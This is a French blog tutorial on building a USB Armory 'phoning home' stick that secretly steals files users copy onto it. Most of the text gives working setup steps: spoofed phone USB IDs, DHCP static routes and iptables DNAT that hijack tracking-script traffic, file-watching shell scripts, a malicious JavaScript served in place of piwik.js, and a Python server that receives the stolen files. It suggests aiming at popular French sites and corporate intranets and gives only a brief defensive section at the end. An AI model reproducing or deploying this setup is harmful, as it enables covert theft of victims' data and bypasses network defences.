Salut à tous, bon cela fait un moment que je suis sur ce sujet. Aujourd’hui on va travailler avec l’USBArmory pour créer une clé USB qui vole les données que l’on place dessus à un serveur externe. Bref, une clé USB qui vole vos données. Ce TP illustre bien qu’il est risqué de connecter des clés USB non contrôlées sur un SI d’entreprise, a fortiori, si celui ci est sensible… Ça devrait vous donner des idées sur comment on peut pourrir un SI en piégeant du matériel et contourner une bonne partie des mécanismes de sécurité du réseau au passage.
Il n’existe pas de périphériques “inoffensifs”, et c’est d’autant plus d’actualités avec les Raspberry Pi et les PC USB.
Dans ce TP je vais vous montrer comment implémenter l’USB Devices Phoning home proposé par Willnix en 2016 (papier que je vous recommande le lire avant d’attaquer ce TP). Cette technique est un peu surclassée depuis par le PoisonTap mais elle reste intéressante à réaliser comme TP hardware piégé.
Principe
Le principe est celui d’une “attaque hardware” ou un méchant laisse traîner une clé USB(Armory) sur le parking ou bien distribue des clé USB vérolées lors d’une conférence ou d’un événement commercial.
Quand l’utilisateur va croire brancher une clé qu’il croit inoffensive, c’est en réalité un ordinateur complet et militarisé possédant un lien Ethernet Over USB avec la machine que laquelle la clé est connectée. À partir de là, la clé va détourner discrètement une partie du trafic Internet de la machine (trafic dont l’absence est invisible pour l’utilisateur) et s’en servir pour créer un canal de contrôle-commande qui va lui permettre d’exfiltrer tous les fichiers qui passe sur la clé. Le trafic détourné est celui des services de tracking ou de publicités (Piwik, GoogleAnalytics, outbrain, etc.). L’attaque nécessite donc que l’utilisateur ait à un instant ‘t‘ la clé connectée sur son poste et un navigateur web ouvert sur une page web contenant un service ciblé au préalable par l’attaquant.
Pour détourner ces communications, la clé va annoncer des routes DHCP statiques à l’hôte de l’USBArmory pour rediriger les accès à ces services vers un serveur web sur la clé et ainsi remplacer les fichiers légitimes par un JavaScript malveillant qui va exfiltrer les données en AJAX vers un serveur externe. Pour finir, un bon schéma vaut toujours mieux qu’une longue explication.
Comment réaliser une « USBArmory Phoning Home »
Préparation de l’image système sur la carte SD
Pour la démonstration sous Windows, il est nécessaire de préparer sa propre image customisée de l’OS. En effet, comme indiqué dans le papier de Willnix, pour que le module g_multi fonctionne correctement sous Windows, il est nécessaire de désactiver un module kernel CDC (Ref.) :
Windows host drivers For the gadget to work under Windows two conditions have to be met:[…] Detecting as composite gadget[…] The only thing to worry is that the gadget has to have a singleconfiguration so a dual RNDIS and CDC ECM gadget won’t work unless youcreate a proper INF — and of course, if you do submit it!
Pour faire cela, il faut un lecteur de carte MicroSD et suivre cette procédure donnée par USBArmory pour construire sa propre image debian.
À l’étape Kernel avant la ligne :
make zImage modules […]
Faire un :
make menuconfig
Et activer uniquement RNDIS (et désactiver CDC) pour le module G_MULTI en naviguant dans les menus, ou en commentant directement dans le fichier .config et la ligne suivante :
#CONFIG_USB_G_MULTI_CDC=y in the .config file.
Première connexion à la clé USB
J’avais déjà évoqué dans ce TP les différents problèmes liés aux drivers nécessaires à l’utilisation d’une USBArmory. Tout d’abord, par défaut la clé ne monte qu’une interface réseau de type USB/RNDIS (Ethernet) et pas de stockage USB. Ensuite, les dernières versions de l’OS fournis par défaut n’active pas le service DHCP sur la clé. De plus, dans le cadre de cette démo c’est le réseau privé 172.16.0.0/12 qui sera utilisé, et pas 10.0.0.0/8, car cette plage privée n’est presque jamais utilisé on ne risque donc moins un conflit d’IP. L’adresse IP de la clé sera 172.16.0.1. Enfin, le driver RDNIS nécessaire pour la clé n’est pas toujours reconnu avec les Windows. Je vous laisse revoir le TP de Prise en main d’une USBArmory pour installer les bons drivers pour la configuration ci dessous. Notez qu’en fin de TP on usurpera les DeviceID et ProductId d’un téléphone mobile pour maximiser les chances d’avoir un driver chargé immédiatement à la connexion de la clé.
Accès SSH à la clé
Un fois la clé connectée et l’interface réseau configurée, se connecter en SSH :
ssh usbarmory@172.16.0.1
Utilisateur : usbarmory
Password : usbarmory
L’utilisateur usbarmory est sudoer.
Configuration IP
Je rappelle que si besoin pour modifier la configuration IP, il est nécessaire de modifier le fichier de conf dans /etc/network/interfaces.d :
auto usb0 allow-hotplug usb0 iface usb0 inet static address 172.16.0.1 netmask 255.240.0.0 gateway 172.16.0.2
Note : Pensez également à modifier la conf DHCP pour être dans le même réseau coté hôte, sinon ça marche pas bien évidement.
Connexion à Internet
Pour la configuration de la clé, sur un poste Ubuntu 16.04 sans configuration particulière. Il est possible de NATé le trafic de la clé vers Internet sur le poste hôte. Sur un linux, il faut activer l’IP forwarding et configurer un NAT avec iptables :
echo 1 > /proc/sys/net/ipv4/ip_forward/sbin/iptables -t nat -A POSTROUTING -s 172.16.0.1/12 -o wlan0 -j MASQUERADE
Selon votre configuration réseau, il peut être nécessaire de modifier /etc/resolv.conf pour avoir un serveur DNS accessible.
nameserver 8.8.8.8 nameserver 8.8.4.4
Configuration applicative de la clé
Bon, la partie système et réseau et terminé, on va préparer notre attaque à proprement parler.
Dépendances et préparation systèmes
Pour la suite on va avoir besoin de ces quelques paquets sur la clé.
apt-get update apt-get upgrade apt-get install inotify-tools build-essential screen tmux git dnsmasq fuse ntfs-3g iptables-persistent
Configuration du temps pour github
Les URL de github sont en https, et notre USBArmory n’est pas à l’heure automatiquement (comme elle n’a pas de pile pour garder l’heure entre 2 reboot). Si on laisse la date par défaut du système on se mange une erreur de certificat pas encore valide, donc petit réglages de l’heure :
date --set 11:12:00 date --set 2017-03-17 dpkg-reconfigure tzdata # 'Europe/Paris'
Installation de Go
A un certain point, dans ce TP on utilisera serveur webchan de willnix comme serveur web pour nos JS et exfiltration des données via AJAX. Ce serveur nécessite une version de Go spécifique à l’heure actuelle. Donc on l’installe :
cd /opt git clone https://go.googlesource.com/gocd go git checkout go1.4.2 cd src rm net/file_test.go ./all.bash echo "GOROOT=/opt/goexport GOROOTGOPATH=$HOME/go export GOPATH PATH="$PATH:$GOROOT/bin" export PATH" >> /etc/profile
Service DHCP
On réactive le service DHCP sur la clé de manière à avoir une configuration automatique de l’IP de l’interface lorsqu’on connecte la clé. La configuration à modifier se trouve dans le fichier /etc/dhcp/dhcpd.conf :
subnet 172.16.0.0 netmask 255.240.0.0 { range 172.16.0.2 172.16.0.5; default-lease-time 600; max-lease-time 7200; }
Ensuite activez le service :
systemctl unmask isc-dhcp-server.service systemctl enable isc-dhcp-server.service systemctl start isc-dhcp-server # ou shutdown -r now
La clé devrait maintenant monter comme une carte USB-RNDIS/Ethernet (IBM sur Windows) et attribuer une IP en 172.16.0.[2-5] automatiquement à l’interface réseau du poste hôte.
Mode Ethernet + Stockage
La première étape est de créer une partition pour le stockage USB. J’ai une carte de 32GB, on va en utiliser 16 pour proposer un stockage USB.
Pour cela, on commence donc par écrire 16384 × 1Mo de zéro dans le fichier /root/usbdisk.img :
dd if=/dev/zero bs=1M count=16384> /root/usbdisk.img
puis on partitionne le fichier,
fdisk /root/usbdisk.img
Welcome to fdisk (util-linux 2.25.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Device does not contain a recognized partition table. Created a new DOS disklabel with disk identifier 0x2279541a. Command (m for help): p Disk /root/usbdisk.img: 8 GiB, 8589934592 bytes, 16777216 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x2279541a Command (m for help): n Partition type p primary (0 primary, 0 extended, 4 free) e extended (container for logical partitions) Select (default p): p Partition number (1-4, default 1): 1 First sector (2048-16777215, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-16777215, default 16777215): Created a new partition 1 of type 'Linux' and of size 8 GiB. Command (m for help): w The partition table has been altered. Syncing disks.
comme un filesystem NFS,
mkfs -t ntfs -p 2048 -F --fast --label USBArmory /root/usbdisk.img
ou FAT32.
mkfs.vat -F 32 [...]
Enfin, pour activer le mode g_multi (rndis + usbstorage) éditer le fichier /etc/modprobe.d/usbarmory.conf et remplacer la ligne g_ether précédemment configurée :
g_multi dev_addr=1a:55:89:a2:69:41 host_addr=1a:55:89:a2:69:42 iManufacturer="Android" idVendor=0x04e8 idProduct=0x6864 file="/root/usbdisk.img"
Note : iManufacturer=“Android” idVendor=0x04e8 idProduct=0x6864 ⇔ SAMSUNG N7000.
La clé va désormais être reconnue comme un téléphone sur les Windows monter comme un périphérique réseau et un périphérique MassStorage.
Mise en oeuvre de l’attaque
Service de surveillance et copie des fichiers placés sur la clé
Pour cette partie, je réutilise à l’identique la solution proposée par WillNix :
mkdir /mnt/pendrive
et on créer le fichier /opt/filecp.sh :
#!/bin/bash IMG=/root/usbdisk.img MNTPOINT=/mnt/pendrive/ UPLOADDIR=/opt/webchan/upload/ sleep 3 find $MNTPOINT -type f -exec du -b {} \; > tree1 umount $MNTPOINT #mount -oro,loop,offset=$((2048 * 512)) -t vfat $IMG $MNTPOINT mount -oro,loop -t ntfs $IMG $MNTPOINT find $MNTPOINT -type f -exec du -b {} \; > tree2 diff -y --suppress-common-lines -W 20000 tree1 tree2 | rev | cut -f 1 | rev | while read FILE do if echo $FILE | grep -q "<$"; then echo -n else cp -v "${FILE[@]}" ${UPLOADDIR} fi done
et ajouter les droits d’exécution dessus :
chmod +x /opt/filecp.sh
Créer ensuite le fichier /opt/imgwatch.sh :
#!/bin/bash IMG=/root/usbdisk.img CPSCRIPT=filecp.sh PID="" inotifywait -m $IMG | while read line do if echo $line | grep -iq "MODIFY"; then if [ -n "$PID" ]; then kill -9 $PID && PID="" fi ./${CPSCRIPT} & PID=$! fi done
Ajouter les droits d’exécution dessus :
chmod +x /opt/imgwatch.sh
Créer ensuite le fichier /etc/systemd/system/multi-user.target.wants/imgwatch.service pour le service systemd:
[Service] Type=simple ExecStart=/opt/imgwatch.sh ExecReload=/bin/kill -HUP $MAINPID WorkingDirectory=/opt [Install] WantedBy=multi-user.target
Alors oui, il n’y a rien de documenté ou de commenté dans ces scripts. Je vous laisse les reverser : c’est un bon exercice ! ils ne sont ni compliqués, ni très long ; et surtout il n’y a pas de raison qu’il n’y ait que moi qui me soit cassé les pieds à le faire !
Serveur Web WebChan
Ici, de même, on réutilise le service fournis par willnix.
cd /opt git clone https://github.com/willnix/webchan.git
Éditer les lignes suivantes du fichier /opt/webchan/js/ga.js :
var deviceHostname = "172.16.0.1:80" //IP configuré de la clé USB Armory var remoteHostname = "192.168.13.37:80" //IP:port de votre serveur qui recevra les fichiers à exfiltrer (voir la suite)
Enfin recompiler le serveur webchan (optionnel si je me souviens bien) :
cd /opt/webchan go get github.com/codegangsta/negroni go get github.com/gorilla/mux go get github.com/rs/cors go build
Et on ajoute le serveur web webchan comme un service fichier /etc/systemd/system/multi-user.target.wants/webchan.service :
[Service] Type=simple ExecStart=/opt/webchan/webchan ExecReload=/bin/kill -HUP $MAINPID WorkingDirectory=/opt/webchan Environment="PORT=80" [Install] WantedBy=multi-user.target
Facultatif : MaJ. JQUERY
De manière à améliorer la compatibilité de l’attaque avec certains sites externes, j’ai noté que mettre à jour jQuery pour sa dernière version évite certains bugs. Pour ça :
cd /opt/webchan/js wget https://code.jquery.com/jquery-3.1.1.min.js mv jquery-3.1.1.min.js jquery-3.1.1.js
Puis modifier la ligne suivante dans le fichier /opt/webchan/js/ga.js :
loadScript("http://" + deviceHostname + "/jquery-3.1.1.js", function () { setInterval(pollAndPush, 2000);});
Activer les services créés
systemctl daemon-reload
Petit Récap à mi parcours
Bien, pour l’instant notre USBArmory comme à être bien militarisée : Sur cette pseudo-clé USB lors de la connexion, on va se retrouver avec un stockage de masse et un périphérique réseau en plus sur l’hôte. Et derrière cette nouvelle carte réseau, l’USB Armory implémente un serveur DHCP ainsi qu’un serveur web et une tâche régulière de surveillance et de recopie des fichiers déposés sur le stockage de masse.
Il nous reste juste à établir un canal de communication avec un serveur externe pour sortir les données qu’on a collecté.
Services de tracking vulnérables
Pour cela, il faut chercher sur Internet des scripts .js chargés en HTTP (et pas HTTPS) idéalement sur des pages web “grand public”, typiquement des piwik et autres traceurs ou publicités. Je vous propose de jeter un œil au code source des pages du top 50 des sites fréquentés en France. Par exemple sur lemonde.fr (et au moment de la rédaction de cette article ) :
<script>var _vrq = _vrq || []; _vrq.push(['id',53]); _vrq.push(['automate',true]); _vrq.push(['track',function(){}]); if(lmd.conf.fsw.visual_revenue && document.location.protocol=== "http:"){require(["http://a.visualrevenue.com/vrs.js"]);} </script>
Qui est typiquement le genre de .js que l’on pourrait chercher à usurper avec notre clé. Dans le cadre de ce TP et pour ne froisser personne du top 50 des sites en France, j’ai utilisé un serveur perso avec un piwik en HTTP posé à l’arrache. Voici le code qui va nous intéresser.
var u='http://piwikiki.geekeries.org/'; [...] g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
Ça à l’air de rien mais il est de plus en plus difficile de trouver ce genre de service en HTTP la plupart basculent sur https et la tendance va en s’améliorant. Rendant cette attaque de plus en plus difficile à mener dans un cadre « grand public ». Par contre, dans un cadre d’entreprise ou scolaire, il y a de bonnes chances que la page d’accueil de votre intranet charge un service de ce type en HTTP.
Usurpation IP : Static route DHCP
On va pouvoir servir un JavaScripts piwik.js sur la clé et usurper les IP de ces services. D’abord, on récupère les IP associées à ces URL à l’aide d’un nslookup.
nslookup piwikiki.geekeries.org
Address: 192.168.1.52
Pour usurpe un autre domaine c’est exactement le même principe. Néanmoins les services cloud ont tendance à changer d’IP régulièrement du coup c’est un peu galère à suivre en préparation de l’attaque car il faut modifier vos routes statiques DHPC à chaque fois, enfin modulo un peu de boulot ça se fait aussi.
Pour re-router les IP de ces services sur la clé. Il faut ajouter une route DHCP statique qui sera poussée par le serveur DHCP de l’USBArmory. Dans le fichier de config /etc/dhcp/dhcpd.conf il suffit d’ajouter la ligne :
option static-routes 192.168.1.52 172.16.0.1;
Servir des js comme les services de tracking
Pour servir les fichiers les js qui seront demandés (même nom). On fait un lien symbolique entre notre fichier ga.js et les fichier fournis par les serveurs qu’on va usurper.
cd /opt/webchan/js ln -n ga.js piwik.js ln -n ga.js vrs.js
Second point : notre clé doit répondre aussi sur les IPs usurpés et pas uniquement sur 172.16.0.1. On peut évidemment configurer l’interface pour qu’elle répondent sur toutes les IP usurpées. Mais le plus simple reste de mettre en place un “Pre-routage NAT” avec iptables.
iptables -t nat -F PREROUTING # vide les règle du mode NAT iptables -t nat -A PREROUTING -d 192.168.1.52 -j DNAT --to-destination 172.16.0.1 # piwikiki.geekeries.org iptables-save > /etc/iptables/rules.v4 # sauvegarder les règles définies
Pour info, pour lister les règles iptables en place.
iptables -t nat -L
Et donc après un unplug/replug de la clé sur le poste hôte, si vous affichez la table de routage. Vous devriez voir apparaître la ligne :
route PRINT -4 192.168.1.52 255.255.255.255 172.16.0.1 172.16.0.2 76
qui indique que ces IP seront bien routées vers l’interface réseau RNDIS/USB de la clé à l’aide des route statique du serveur dhcp.
Pour contrôler le bon fonctionnement du serveur web et du NAT, dans votre navigateur entrée l’url http://172.16.0.1/ga.js qui doit afficher le fichier ga.js (présent dans /opt/webchan/js) et http://192.168.1.52/piwik.js doit pointer sur l’exact même fichier dans ce même navigateur.
Notre attaque est prête côté USBArmory, maintenant il nous faut simplement un serveur pour récupérer les fichiers que la clé va exfiltrer.
Déploiement du serveur de réception des fichiers
Willnix n’en fournissant pas, j’ai développé un serveur web ultra-minimaliste en python capable de réceptionner des fichiers envoyé. Je vous met le code ci dessous.
simplePostSrv.py
from http.server import BaseHTTPRequestHandler, HTTPServer import time import urllib import json import pdb import io import base64 hostName = "192.168.13.37" hostPort = 80 class MyServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes("<html><head><title>Title goes here.</title></head>", "utf-8")) self.wfile.write(bytes("<body><p>This is a test.</p>", "utf-8")) self.wfile.write(bytes("<p>You accessed path: %s</p>" % self.path, "utf-8")) self.wfile.write(bytes("</body></html>", "utf-8")) def do_POST(self): length = int(self.headers['Content-Length']) print("From : "+ str(self.client_address[0])+" "+str(length)+" bytes received") post_data = self.rfile.read(length) #print(post_data) exfiltred = json.loads(post_data.decode('utf-8')) for file in exfiltred: with io.open("/tmp/exfiltr/"+file["Name"],mode='wb') as f: print("File="+ file["Name"]) f.write(base64.b64decode(file["Data"])) # You now have a dictionary of the post data self.send_response(200) self.end_headers() print(str(self.client_address[0])) #pdb.set_trace() def do_OPTIONS(self): self.send_response(200, "ok") self.send_header('Access-Control-Allow-Credentials', 'true') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') self.send_header("Access-Control-Allow-Headers", "X-Requested-With, Content-type") self.end_headers() myServer = HTTPServer((hostName, hostPort), MyServer) print(time.asctime(), "Server Starts - %s:%s" % (hostName, hostPort)) try: myServer.serve_forever() except KeyboardInterrupt: pass myServer.server_close() print(time.asctime(), "Server Stops - %s:%s" % (hostName, hostPort))
Il faut démarrer le serveur sur une machine avec la même IP configurée dans ga.js comme remoteHostname.
mkdir /tmp/exfiltr/ # dossier d’exfiltration par défaut python simplePostSrv.py
Démonstration
Et à partir de là notre clé est prête pour une démonstration. Après avoir démarré le serveur web, sur le poste victime suffit de :
- Connecter la clé et attendre qu’elle finissent de booter – la led doit clignoter (heartbeat noyaux).
- Une fois que la clé a bootée, on voit que celle-ci est une clé USB de 16Go tout à fait classique.
- Commencer à l’utiliser normalement en créant quelques fichiers dessus, exemple : mdp.txt, Rapport-DR.docx, CodePin.png, CB.pdf, etc.
Supprimer ensuite un des fichiers sur la clé (pour montrer ensuite qu’il sera quand même copié et exfiltré). - La clé toujours branchée sur le poste : accéder à un de ces sites pour lequel vous avez configuré l’usurpation de .js. et montrez que la page web fonctionne tout à fait normalement.
- Les fichiers ayant été copiés sur la clé devraient rapidement apparaître sur le serveur.
UN DESSIN
Bon alors comme je me doute que tout le monde n’a pas tout compris, je vous ai donc fait un jolie dessin détaillant de tout ce qu’il se passe avec des numéro et des couleurs.
C’est plus clair maintenant ?
Comment peut-on se protéger de ce type d’attaque ?
Ne brancher pas de périphériques USB non-maîtrisé sur vos postes sensible. Mettez en place un système de contrôle des périphériques USB (Lumension Device Control, Symantec Endpoint Protection, etc.) et saupoudrer le tout d’un peu de baffothérapie formation de vos utilisateurs.
Conclusion
Voilà comment on peu réaliser à moindre frais une clé USB qui vole les données que les gens place dessus. Un poil plus coûteux et ciblé que les campagnes de mail, mais avec un taux de réussite bien plus élevé. Cette méthode permet d’atteindre des réseaux isolés d’Internet car asynchrone (imaginez aussi la même attaque avec une puce 4G dans la clé ou un téléphone piégé). Finalement pas chère (quelques dizaines à centaines d’euros). Sinon des solutions comme Poison Tap ont démontrés qu’il est possible d’être beaucoup plus agressif et de détourner l’ensemble du trafic web de la victime. De même la prise de contrôle à distance du navigateur de la victime est d’une facilité enfantine à partir du moment où on arrive à lui faire charger un .js arbitraire (voir beef par exemple), enfin notez que l’attaque est également combinable avec ce genre d’attaque « interne » dans le cadre d’un PenTest.
Bref, méfiez-vous des cadeaux reçut en conférence, ou offert par des commerciaux.
Ils pourrait ressembler à ça :
Bibliographie de « USB Phoning Home : la clé USB qui vole les données »
En cas de soucis, quelques pointeurs intéressants sur le sujet
- USB Devices Phoning Home – https://tubdok.tub.tuhh.de/bitstream/11420/1282/1/paper.pdf
- GitHub d’USB Devices Phoning Home – https://github.com/willnix/usbpoc
- Exemples Application USBArmory – https://github.com/inversepath/usbarmory/wiki/Applications
- Autres ressources – https://github.com/inversepath/usbarmory/wiki/External-resources
- Google Groups USB Armory – https://groups.google.com/forum/#!forum/usbarmory